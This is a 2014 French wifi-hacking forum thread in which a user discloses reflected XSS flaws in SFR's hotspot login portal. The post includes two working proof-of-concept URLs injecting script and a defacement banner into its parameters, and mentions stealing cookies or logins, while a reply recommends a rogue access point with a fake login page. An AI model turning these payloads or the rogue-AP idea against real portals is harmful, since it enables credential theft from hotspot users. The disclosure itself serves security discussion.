Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 01-07-2014 21:55:30

androgyn3
N00b
Inscription : 27-08-2009
Messages : 1

0day XSS https://hotspot.wifi.sfr.fr

Salut,

J'ai trouvé quelques XSS sur le portail de connexion hot spot wifi SFR/FON https://hotspot.wifi.sfr.fr

Ceux ci pourraient être exploités de facon malveillante dans le but de voler les cookies ou les identifiants  SFR/FON (phishing/form logger)

Proof of concept :

https://hotspot.wifi.sfr.fr/indexEncryptingChilli.php?challenge=&mac=&mode=&res=smartclient&uamip=&uamport=1%27%22%3CScRiPt%20%3Ealert%28String.fromCharCode%2883,%2070,%2082,%2032,%2088,%2083,%2083,%2032,%2098,%20121,%2032,%2065,%20110,%20100,%20114,%20111,%20103,%20121,%20110,%2051%29%29%3C/ScRiPt%3E%3Ch1%3ETHIS%20SITE%20WAS%20HACKED%3C/h1%3E&userurl=
https://hotspot.wifi.sfr.fr/indexEncryptingChilli.php?challenge=&mac=&mode=&res=smartclient&uamip=1%27%22%3CScRiPt%20%3Ealert%28String.fromCharCode%2883,%2070,%2082,%2032,%2088,%2083,%2083,%2032,%2098,%20121,%2032,%2065,%20110,%20100,%20114,%20111,%20103,%20121,%20110,%2051%29%29%3C/ScRiPt%3E%3Ch1%3ETHIS%20SITE%20WAS%20HACKED%3C/h1%3E&uamport=&userurl=

Screenshoot :

XSS SFR Androgyn3

A3

Dernière modification par androgyn3 (01-07-2014 21:58:40)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 01-07-2014 22:03:26

Furyo
Membre Irremplaçable
Inscription : 25-11-2010
Messages : 1 398
Site Web

Re : 0day XSS https://hotspot.wifi.sfr.fr

et moi c'est henri wink


Rogue AP bien faite (avec une page de connexion bien faite), donne bien plus de resultats...

M'enfin, je dis ca je dis rien...


Je prendrai le temps de répondre aux gens qui auront pris le temps de se présenter..
Les membres suspectés d'intentions douteuses ne trouveront que mon silence en réponse.
Morpheus à Néo : On n'est pas le meilleur quand on le croit, mais quand on le sait..
387003.jpg

Hors Ligne

#3 04-07-2014 19:43:45

flatounet
Membre d'Or
Inscription : 05-03-2010
Messages : 330

Re : 0day XSS https://hotspot.wifi.sfr.fr

ouep ,m’en-fin faut etre "con" pour se connecté sur un site .....

tu te connecte à un ap , et la tu te logg

là c'est avec un accès internet ou tu accede à cette page ...
il faut vraiment être tête en l'air pour se logg la dedans ...


ce qui me fait franchement peur c'est les AP avec raspberry pi.
moi qui me connecte un peu partout ....mais bon (avec identifiant sim ( mobile) )

Dernière modification par flatounet (04-07-2014 19:46:35)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Discussion Réponses Vues Dernier message
Épinglée :
Épinglée :: 0day Crack Box SFR NB6V en deux secondes par PIN "NULL" par kcdtv  [ 1 2 3 13 ]
303 78623 20-09-2017 18:05:08 par sklerder
22 23822 18-09-2017 20:43:42 par Anthonyy59
Wifi-highpower : euh ??? par Es_ste_ban
7 493 07-09-2017 20:24:31 par Es_ste_ban
3 242 07-09-2017 10:23:44 par _john_doe
5 513 30-08-2017 19:57:44 par twister

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.027 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]